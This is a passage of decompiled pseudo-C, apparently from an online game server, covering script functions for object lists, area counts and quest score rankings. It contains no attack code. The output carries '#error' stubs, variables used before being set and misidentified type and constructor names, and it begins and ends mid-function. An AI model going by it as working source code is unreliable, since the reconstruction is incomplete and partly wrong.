*result; // eax@17 const char *v9; // eax@19 unsigned int k; // [sp+Ch] [bp-434h]@5 void *v11; // [sp+10h] [bp-430h]@3 FunctionEntarance _; // [sp+14h] [bp-42Ch]@1 int (__stdcall **alol)(int, int, int); // [sp+18h] [bp-428h]@16 int v14; // [sp+1Ch] [bp-424h]@16 int v15; // [sp+220h] [bp-220h]@16 PineScriptToken token; // [sp+228h] [bp-218h]@1 PineScriptToken thisa; // [sp+328h] [bp-118h]@6 unsigned int cookie; // [sp+42Ch] [bp-14h]@17 int v19; // [sp+43Ch] [bp-4h]@1 _.fe_FunctionCode = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v19) = 1; v4 = PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps); if ( ps_assert(v4 != 0, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate : Argument err", 0) ) { LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); } else { v5 = PineScriptToken::pst_GetNumber(&token, 0); v11 = (void *)ShineObjectManager::som_GetObject(&shineobjmanager, v5); MoveManager::MoveManager((DiceTaiSai *)&token); if ( ps_assert(v11 != 0, "Invalid Object", v6) ) { LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); } else { v7 = 0; k = 1; if ( PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps) ) { do { PineScriptToken::pst_ToLower(&token); memcpy(&thisa, &token, sizeof(thisa)); LOBYTE(v19) = 2; if ( PineScriptToken::operator__(&thisa, byte_59A24E) ) { LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); break; } if ( PineScriptToken::operator__(&thisa, "npc") ) { v7 |= 0x10u; } else { if ( PineScriptToken::operator__(&thisa, "bandit") ) { v7 |= 0x100u; } else { if ( PineScriptToken::operator__(&thisa, "mob") ) { v7 |= 0x20u; } else { if ( !PineScriptToken::operator__(&thisa, "player") ) { MoveManager::MoveManager((DiceTaiSai *)&token); ps_assert(0, "Invalid flag", v9); LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); goto LABEL_17; } v7 |= 4u; } } } LOBYTE(v19) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); ++k; } while ( PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, k, &token, ps) ); } AxialListIterator::AxialListIterator((AxialListIterator *)&alol); alol = &AxialListObjectList::_vftable_; v14 = v7; v15 = 0; LOBYTE(v19) = 3; ShineObjectClass::ShineObject::so_AllInMap(v11, (int)&alol, 1); AxialListObjectList::alol_MakeList((AxialListObjectList *)&alol, buffer); LOBYTE(v19) = 1; alol = &AxialListObjectList::_vftable_; AxialListWall::_AxialListWall((AxialListMobKillLog *)&alol); LOBYTE(v19) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&token); --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); } } LABEL_17: __security_check_cookie(cookie); return result; } // 5B1668: using guessed type int (__stdcall *AxialListObjectList___vftable_)(int, int, int distancesquar); //----- (004A6590) -------------------------------------------------------- void __thiscall AxialListKQResult::ALKQR::ALKQR(AxialListKQResult::ALKQR *this) { PROTO_NC_CHAR_WEDDINGDATA_ACK::__unnamed::__unnamed((MemoryQueueGuildReName *)&this->scorestr); } //----- (004A65B0) -------------------------------------------------------- void __thiscall AxialListKQResult::_AxialListKQResult(AxialListKQResult *this) { AxialListMobKillLog *v1; // esi@1 v1 = (AxialListMobKillLog *)this; this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQResult::_vftable_; _eh_vector_destructor_iterator_( this->alkqr_Array, 0x30u, 128, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); AxialListWall::_AxialListWall(v1); } // 5B1F08: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004A6610) -------------------------------------------------------- #error "4A6610: undefined or illegal type '#331' (funcsize=61)" //----- (004A66F0) -------------------------------------------------------- #error "4A66F0: undefined or illegal type '#331' (funcsize=83)" //----- (004A6830) -------------------------------------------------------- #error "4A6830: undefined or illegal type '#331' (funcsize=117)" //----- (004A69E0) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_MakeList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_CMD *array) { AxialListKQResult *v3; // edi@1 DebugLogging *v4; // ebp@6 _iobuf *v5; // eax@8 DebugLogging *v6; // ebp@10 _iobuf *v7; // eax@12 DebugLogging *v8; // ebp@14 _iobuf *v9; // eax@16 DebugLogging *v10; // ebp@18 _iobuf *v11; // eax@20 DebugLogging *v12; // ebp@22 _iobuf *v13; // eax@24 DebugLogging *v14; // ebp@26 _iobuf *v15; // eax@29 int v16; // ecx@30 int v17; // eax@30 char *v18; // ecx@30 int v19; // edx@30 int v20; // eax@30 int v21; // eax@36 int v22; // edx@36 char v23; // cl@37 int v24; // ecx@39 char v25; // cl@42 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListKQResult::alkqr_MakeList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qsort(v3->alkqr_Array, v3->alkqr_Pointer, 0x30u, AxialListKQResult::alkqr_ScoreCompare); PineScriptToken::pst_Clear(buffer); array->num = 0; array->base = v3->alkqr_BasePoint; array->num = 0; if ( v3->alkqr_Pointer > 0 ) { do { if ( DebugLogging::dl_ActivAll ) { if ( unk_12442064 ) { DebugLogging::dl_FilePoint(&KQRankingLog); if ( unk_12441EE0 ) fprintf(unk_12441EE0, "%d"); } } v4 = DebugLogging::operator<<(&KQRankingLog, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v4->dl_Activ ) { DebugLogging::dl_FilePoint(v4); v5 = v4->dl_FilePointer; if ( v5 ) fprintf(v5, "%d"); } } v6 = DebugLogging::operator<<(v4, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v6->dl_Activ ) { DebugLogging::dl_FilePoint(v6); v7 = v6->dl_FilePointer; if ( v7 ) fprintf(v7, "%d"); } } v8 = DebugLogging::operator<<(v6, (char *)&argument); if ( DebugLogging::dl_ActivAll ) { if ( v8->dl_Activ ) { DebugLogging::dl_FilePoint(v8); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v10->dl_Activ ) { DebugLogging::dl_FilePoint(v10); v11 = v10->dl_FilePointer; if ( v11 ) fprintf(v11, "%d"); } } v12 = DebugLogging::operator<<(v10, (char *)&stru_59F2B8); if ( DebugLogging::dl_ActivAll ) { if ( v12->dl_Activ ) { DebugLogging::dl_FilePoint(v12); v13 = v12->dl_FilePointer; if ( v13 ) fprintf(v13, "%d"); } } v14 = DebugLogging::operator<<(v12, (char *)&stru_59CBB8); if ( DebugLogging::dl_ActivAll && v14->dl_Activ && v14->dl_FilePointer ) { v15 = DebugLogging::dl_FilePoint(v14); fputc(10, v15); fflush(v14->dl_FilePointer); fclose(v14->dl_FilePointer); v14->dl_FilePointer = 0; } v16 = array->num; v17 = 3 * v16; v18 = (char *)&array[1] + 34 * v16; v17 *= 16; v19 = *(_DWORD *)&v3->alkqr_Array[0].scorestr.charid.n4_name[v17]; v20 = (int)((char *)&v3->alkqr_Array[0].scorestr + v17); *(_DWORD *)v18 = v19; *((_DWORD *)v18 + 1) = *(_DWORD *)(v20 + 4); *((_DWORD *)v18 + 2) = *(_DWORD *)(v20 + 8); *((_DWORD *)v18 + 3) = *(_DWORD *)(v20 + 12); *((_WORD *)v18 + 8) = *(_WORD *)(v20 + 16); *(_DWORD *)(v18 + 18) = *(_DWORD *)(v20 + 18); *(_DWORD *)(v18 + 22) = *(_DWORD *)(v20 + 22); *(_DWORD *)(v18 + 26) = *(_DWORD *)(v20 + 26); *(_DWORD *)(v18 + 30) = *(_DWORD *)(v20 + 30); if ( array->num ) { if ( array->num == 1 ) { array[11].num = array[11].num & 0x82 | 2; } else { if ( array->num == 2 ) BYTE3(array[17].base) = BYTE3(array[17].base) & 0x83 | 3; } } else { LOBYTE(array[4].base) = array[4].base & 0x81 | 1; } MoveManager::MoveManager((DiceTaiSai *)buffer); v22 = v21 + 1; do v23 = *(_BYTE *)v21++; while ( v23 ); if ( (unsigned int)(v21 - v22) < 0xF1 ) { v24 = v3->alkqr_LimitPoint; if ( !v24 || v3->alkqr_Array[array->num].score >= v24 ) { PineScriptToken::pst_MergeNumber(buffer, v3->alkqr_Array[array->num].handle); PineScriptToken::pst_MergeString(buffer, (char *)&stru_598DE4); } } v25 = array->num + 1; array->num = v25; } while ( (unsigned __int8)v25 < v3->alkqr_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeList"); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (004A6DD0) -------------------------------------------------------- void __thiscall AxialListKQResult::alkqr_MakeSimpleList(AxialListKQResult *this, PineScriptToken *buffer, PROTO_NC_KQ_SCORE_SIMPLE_CMD *array, int limit) { AxialListKQResult *v4; // edi@1 int v5; // ebp@1 int v6; // eax@4 int v7; // edx@4 char v8; // cl@5 int v9; // eax@8 int v10; // ecx@8 int v11; // eax@10 int v12; // ecx@10 v4 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeSimpleList"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AxialListKQResult::alkqr_MakeSimpleList"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; qsort(v4->alkqr_Array, v4->alkqr_Pointer, 0x30u, AxialListKQResult::alkqr_ScoreCompare); PineScriptToken::pst_Clear(buffer); array->base = v4->alkqr_BasePoint; v5 = limit; if ( limit >= v4->alkqr_Pointer ) v5 = v4->alkqr_Pointer; array->num = 0; if ( v5 > 0 ) { do { MoveManager::MoveManager((DiceTaiSai *)buffer); v7 = v6 + 1; do v8 = *(_BYTE *)v6++; while ( v8 ); if ( (unsigned int)(v6 - v7) < 0xF1 ) { PineScriptToken::pst_MergeNumber(buffer, v4->alkqr_Array[array->num].handle); PineScriptToken::pst_MergeString(buffer, (char *)&stru_598DE4); } v9 = array->num; v10 = 3 * v9; v9 *= 28; v10 *= 16; *(_DWORD *)(&array[1].num + v9) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10]; *(unsigned int *)((char *)&array[1].base + v9 + 3) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 4]; *(unsigned int *)((char *)&array[1].self.kill + v9 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 8]; *(unsigned int *)((char *)&array[1].self.down + v9 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v10 + 12]; *(&array[2].self.kill + 7 * array->num) = v4->alkqr_Array[array->num].score; *(unsigned int *)((char *)&array[1].self.score + 28 * array->num + 2) = v4->alkqr_Array[array->num].scorestr.killpoint; *(unsigned int *)((char *)&array[2].base + 28 * array->num + 1) = v4->alkqr_Array[array->num].scorestr.downpoint; LOBYTE(v10) = array->num + 1; array->num = v10; } while ( (unsigned __int8)v10 < v5 ); } if ( array->num < v4->alkqr_Pointer ) { do { v11 = array->num; v12 = 3 * v11; v11 *= 28; v12 *= 16; *(_DWORD *)(&array[1].num + v11) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12]; *(unsigned int *)((char *)&array[1].base + v11 + 3) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 4]; *(unsigned int *)((char *)&array[1].self.kill + v11 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 8]; *(unsigned int *)((char *)&array[1].self.down + v11 + 2) = *(_DWORD *)&v4->alkqr_Array[0].scorestr.charid.n4_name[v12 + 12]; *(&array[2].self.kill + 7 * array->num) = v4->alkqr_Array[array->num].score; *(unsigned int *)((char *)&array[1].self.score + 28 * array->num + 2) = v4->alkqr_Array[array->num].scorestr.killpoint; *(unsigned int *)((char *)&array[2].base + 28 * array->num + 1) = v4->alkqr_Array[array->num].scorestr.downpoint; LOBYTE(v12) = array->num + 1; array->num = v12; } while ( (unsigned __int8)v12 < v4->alkqr_Pointer ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "AxialListKQResult::alkqr_MakeSimpleList"); } //----- (004A7010) -------------------------------------------------------- #error "4A7010: undefined or illegal type '#331' (funcsize=143)" //----- (004A7220) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShinePlayerInArea::sfb_Calculate(PineEventScriptNode::SysFuncShinePlayerInArea *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { const char *v4; // eax@1 void *v5; // ecx@2 Movie::Theater *v6; // ecx@6 const char *v7; // eax@7 unsigned int v8; // eax@7 unsigned __int16 v9; // si@7 const char *v10; // eax@9 int v11; // esi@10 Movie::Theater *v12; // ecx@11 PineScriptToken *result; // eax@14 char Area[4]; // [sp+10h] [bp-378h]@1 int v15; // [sp+14h] [bp-374h]@1 int v16; // [sp+18h] [bp-370h]@1 int v17; // [sp+1Ch] [bp-36Ch]@1 int v18; // [sp+20h] [bp-368h]@1 int v19; // [sp+24h] [bp-364h]@1 int v20; // [sp+28h] [bp-360h]@1 int v21; // [sp+2Ch] [bp-35Ch]@1 int almc; // [sp+30h] [bp-358h]@2 __int16 v23; // [sp+34h] [bp-354h]@6 int v24; // [sp+38h] [bp-350h]@6 int v25; // [sp+3Ch] [bp-34Ch]@6 int v26; // [sp+40h] [bp-348h]@6 int v27; // [sp+44h] [bp-344h]@6 int v28; // [sp+48h] [bp-340h]@6 int v29; // [sp+4Ch] [bp-33Ch]@6 int v30; // [sp+50h] [bp-338h]@6 int v31; // [sp+54h] [bp-334h]@6 int v32; // [sp+58h] [bp-330h]@6 int v33; // [sp+5Ch] [bp-32Ch]@6 int v34; // [sp+60h] [bp-328h]@6 int v35; // [sp+64h] [bp-324h]@6 int v36; // [sp+68h] [bp-320h]@6 char (__thiscall *v37)(AxialListMobInAreaCounter *, #331 *, #331 *); // [sp+6Ch] [bp-31Ch]@6 PineScriptToken mobindex; // [sp+70h] [bp-318h]@1 PineScriptToken thisa; // [sp+170h] [bp-218h]@1 PineScriptToken areaName; // [sp+270h] [bp-118h]@1 unsigned int cookie; // [sp+374h] [bp-14h]@14 int v42; // [sp+384h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShinePlayerInArea"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShinePlayerInArea"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v42 = 0; PineScriptToken::pst_Clear(&mobindex); LOBYTE(v42) = 1; PineScriptToken::pst_Clear(&areaName); LOBYTE(v42) = 2; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &areaName, ps); MoveManager::MoveManager((DiceTaiSai *)&areaName); v21 = 0; v20 = 0; v19 = 0; v18 = 0; v17 = 0; v16 = 0; v15 = 0; *(_DWORD *)Area = 0; strncpy(Area, v4, 0x20u); memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &mobindex, ps), sizeof(thisa)); LOBYTE(v42) = 3; if ( PineScriptToken::operator__(&thisa, "player") ) { AxialListMobInAreaCounter::AxialListMobInAreaCounter( (AxialListMobInAreaCounter *)&almc, 0xFFFFu, (Name8 *)Area, 0, 0, 99999); v5 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v42) = 4; if ( v5 != 0 ) ShineObjectClass::ShineObject::so_AllInMap(v5, (int)&almc, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); goto LABEL_12; } if ( PineScriptToken::operator__(&thisa, "all") ) { AxialListIterator::AxialListIterator((AxialListIterator *)&almc); v27 = *(_DWORD *)Area; v28 = v15; v29 = v16; v30 = v17; v31 = v18; almc = (int)AxialListMobInAreaCounter::_vftable_; v23 = -1; v24 = 0; v25 = 0; v26 = 99999; v32 = v19; v33 = v20; v34 = v21; v35 = 0; v36 = 0; v37 = AxialListMobInAreaCounter::ala_SearchAll; v6 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 5; Movie::Theater::t_AllInMap(v6, (AxialListIterator *)&almc); almc = (int)AxialListMobInAreaCounter::_vftable_; LABEL_13: v11 = v25; LOBYTE(v42) = 3; AxialListWall::_AxialListWall((AxialListMobKillLog *)&almc); goto LABEL_14; } MoveManager::MoveManager((DiceTaiSai *)&mobindex); v8 = BTree::operator__(&mobdatabox.mdb_btree, v7); v9 = -1; if ( v8 != -1 ) v9 = v8; MoveManager::MoveManager((DiceTaiSai *)&mobindex); if ( !ps_assert(v9 != -1, "PineEventScriptNode::SysFuncShineCount::sfb_Calculate : MobName wrong", v10) ) { AxialListMobInAreaCounter::AxialListMobInAreaCounter( (AxialListMobInAreaCounter *)&almc, v9, (Name8 *)Area, 0, ALMC_MOB, 99999); v12 = *(Movie::Theater **)&ps->gap10114[4]; LOBYTE(v42) = 6; Movie::Theater::t_AllInMap(v12, (AxialListIterator *)&almc); LABEL_12: almc = (int)AxialListMobInAreaCounter::_vftable_; goto LABEL_13; } v11 = 0; LABEL_14: LOBYTE(v42) = 2; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); result = PineScriptToken::pst_Clear(buffer); PineScriptToken::pst_MergeNumber(result, v11); LOBYTE(v42) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&areaName); LOBYTE(v42) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&mobindex); --funcallanalizer.fca_stackpoint; v42 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::SysFuncShinePlayerInArea"); __security_check_cookie(cookie); return result; } // 5B1664: using guessed type int (__stdcall *AxialListMobInAreaCounter___vftable_[2])(int, int, int distancesquar); //----- (004A7590) -------------------------------------------------------- void __cdecl std::generate>::iterator_ArrGen>(std::vector >::iterator _First, std::vector >::iterator _Last, ArrGen _Func) { std::vector >::iterator v3; // eax@1 int v4; // edx@2 v3 = _First; if ( _First != _Last ) { v4 = _Func.from_; do { **(_DWORD **)&v3 = v4; *(_DWORD *)&v3 += 4; v4 += _Func.step_; } while ( v3 != _Last ); } } //----- (004A75C0) -------------------------------------------------------- void __thiscall AxialListKQResult::AxialListKQResult(AxialListKQResult *this, void (__thiscall *scorefunction)(AxialListKQResult *, #331 *), char (__thiscall *workerFunction)(AxialListKQResult *, #331 *, #331 *, unsigned int), int basepoint, int limitScore) { AxialListKQResult *v5; // esi@1 v5 = this; AxialListIterator::AxialListIterator(&this->baseclass_0); v5->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQResult::_vftable_; _eh_vector_constructor_iterator_( v5->alkqr_Array, 0x30u, 128, (void (__thiscall *)(void *))AxialListKQResult::ALKQR::ALKQR, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v5->alkqr_BasePoint = basepoint; v5->alkqr_LimitPoint = limitScore; v5->alkqr_worker = workerFunction; v5->alkqr_Pointer = 0; v5->alkqr_ScoreFunction = scorefunction; } // 5B1F08: using guessed type int (__stdcall *AxialListKQResult___vftable_)(int, int, int distancesquar); //----- (004A7650) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQResultList::sfb_Calculate(PineEventScriptNode::SysFuncShineKQResultList *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { void *v4; // esp@1 void (__thiscall *v5)(AxialListKQResult *, #331 *); // esi@6 char (__thiscall *v6)(AxialListKQResult *, #331 *, #331 *, unsigned int); // edi@7 void *v7; // ecx@9 char *v8; // esi@12 char *v9; // edi@12 void *v10; // ecx@12 PineScriptToken *result; // eax@15 int limitScore; // [sp+0h] [bp-1A48h]@3 int basepoint; // [sp+4h] [bp-1A44h]@1 char v14; // [sp+8h] [bp-1A40h]@12 int v15; // [sp+14h] [bp-1A34h]@1 PineScriptToken thisa; // [sp+18h] [bp-1A30h]@1 DiceTaiSaiDividind v17; // [sp+118h] [bp-1930h]@5 char v18; // [sp+218h] [bp-1830h]@9 unsigned int cookie; // [sp+1A34h] [bp-14h]@15 PineEventScriptNode::SysFuncShineKQResultList *v20; // [sp+1A38h] [bp-10h]@1 int v21; // [sp+1A44h] [bp-4h]@1 v20 = this; v4 = alloca(6716); v15 = (int)"PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v21 = 0; PineScriptToken::pst_Clear(&thisa); LOBYTE(v21) = 1; basepoint = 0; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &thisa, ps); if ( PineScriptToken::operator__(&thisa, byte_59A24E) ) basepoint = PineScriptToken::pst_GetNumber(&thisa, 0); limitScore = 0; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &thisa, ps); if ( PineScriptToken::operator__(&thisa, byte_59A24E) ) limitScore = PineScriptToken::pst_GetNumber(&thisa, 0); memcpy(&v17, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &thisa, ps), sizeof(v17)); LOBYTE(v21) = 2; if ( PineScriptToken::operator__((PineScriptToken *)&v17, "ConditionOfHero") ) { v5 = AxialListKQResult::alkqr_Score_ConditionOfHero; } else { v5 = AxialListKQResult::alkqr_Score_Default; v6 = AxialListKQResult::zerosumWorker; if ( PineScriptToken::operator__((PineScriptToken *)&v17, "NewConditionOfHero") ) goto LABEL_9; } v6 = AxialListKQResult::defaultWorker; LABEL_9: LOBYTE(v21) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut(&v17); AxialListKQResult::AxialListKQResult((AxialListKQResult *)&v18, v5, v6, basepoint, limitScore); v7 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 3; if ( v7 ) ShineObjectClass::ShineObject::so_AllInMap(v7, (int)&v18, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); AxialListKQResult::alkqr_CalcScore((AxialListKQResult *)&v18); v8 = gpp.pp_Buffer; v9 = gpp.pp_Buffer + 2; AxialListKQResult::alkqr_MakeList((AxialListKQResult *)&v18, buffer, (PROTO_NC_KQ_SCORE_CMD *)(gpp.pp_Buffer + 2)); *(_WORD *)v8 = 22548; AxialListPacketBroadcast::AxialListPacketBroadcast( (AxialListPacketBroadcast *)&v14, &gpp, 34 * (unsigned __int8)*v9 + 7); v10 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v21) = 4; if ( v10 ) ShineObjectClass::ShineObject::so_AllInMap(v10, (int)&v14, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); LOBYTE(v21) = 3; AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)&v14); LOBYTE(v21) = 1; AxialListKQResult::_AxialListKQResult((AxialListKQResult *)&v18); LOBYTE(v21) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); --funcallanalizer.fca_stackpoint; v21 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineGetObjectList::sfb_Calculate"); __security_check_cookie(cookie); return result; } //----- (004A7920) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate(PineEventScriptNode::SysFuncShineKQTop *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps, PineEventScriptNode::ArgumentList *argumentlist) { void (__thiscall *v4)(AxialListKQResult *, #331 *); // esi@4 char (__thiscall *v5)(AxialListKQResult *, #331 *, #331 *, unsigned int); // edi@5 void *v6; // ecx@7 char *v7; // ebx@10 char *v8; // esi@10 int v9; // edi@10 int v10; // ebx@10 char v11; // al@10 int v12; // edi@13 int v13; // ebp@14 int v14; // ebx@18 int v15; // ebx@18 int v16; // eax@20 bool v17; // sf@22 unsigned __int8 v18; // of@22 PineScriptToken *result; // eax@23 int basepoint; // [sp+10h] [bp-1A38h]@1 char *basepointa; // [sp+10h] [bp-1A38h]@13 int i; // [sp+14h] [bp-1A34h]@12 int v23; // [sp+18h] [bp-1A30h]@10 PineScriptToken token; // [sp+20h] [bp-1A28h]@1 PineScriptToken thisa; // [sp+120h] [bp-1928h]@3 char alkqr; // [sp+220h] [bp-1828h]@7 char ptr; // [sp+22Ch] [bp-181Ch]@23 char v28; // [sp+230h] [bp-1818h]@13 unsigned int v29; // [sp+1A38h] [bp-10h]@23 int v30; // [sp+1A44h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "PineEventScriptNode::SysFuncShineKQTop::sfb_Calculate"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v30 = 0; basepoint = 0; PineScriptToken::pst_Clear(&token); LOBYTE(v30) = 1; PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 2u, &token, ps); if ( PineScriptToken::operator__(&token, byte_59A24E) ) basepoint = PineScriptToken::pst_GetNumber(&token, 0); memcpy(&thisa, PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 0, &token, ps), sizeof(thisa)); LOBYTE(v30) = 2; if ( PineScriptToken::operator__(&thisa, "ConditionOfHero") ) { v4 = AxialListKQResult::alkqr_Score_ConditionOfHero; } else { v4 = AxialListKQResult::alkqr_Score_Default; v5 = AxialListKQResult::zerosumWorker; if ( PineScriptToken::operator__(&thisa, "NewConditionOfHero") ) goto LABEL_7; } v5 = AxialListKQResult::defaultWorker; LABEL_7: LOBYTE(v30) = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); PineEventScriptNode::ArgumentList::al_GetArgument(argumentlist, 1u, &token, ps); AxialListKQResult::AxialListKQResult((AxialListKQResult *)&alkqr, v4, v5, basepoint, 0); v6 = *(void **)(*(_DWORD *)&ps->gap10114[4] + 77284); LOBYTE(v30) = 3; if ( v6 ) ShineObjectClass::ShineObject::so_AllInMap(v6, (int)&alkqr, 0); else AssertClass::ac_AssertFail(&shineassert, "Movie::Theater::t_AllInMap : Null flag", 0); AxialListKQResult::alkqr_CalcScore((AxialListKQResult *)&alkqr); v7 = gpp.pp_Buffer; v8 = gpp.pp_Buffer + 2; v9 = PineScriptToken::pst_GetNumber(&token, 0); AxialListKQResult::alkqr_MakeSimpleList((AxialListKQResult *)&alkqr, buffer, (PROTO_NC_KQ_SCORE_SIMPLE_CMD *)v8, v9); *(_WORD *)v7 = 22561; v10 = (unsigned __int8)*v8; v23 = (unsigned __int8)*v8; v11 = v9; if ( v9 >= v10 ) v11 = v10; *v8 = v11; i = 0; if ( v10 > 0 ) { basepointa = &v28; v12 = (int)(v8 + 34); do { v13 = *(_DWORD *)basepointa; if ( *(_DWORD *)basepointa && !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v13 + 768))(*(_DWORD *)basepointa) 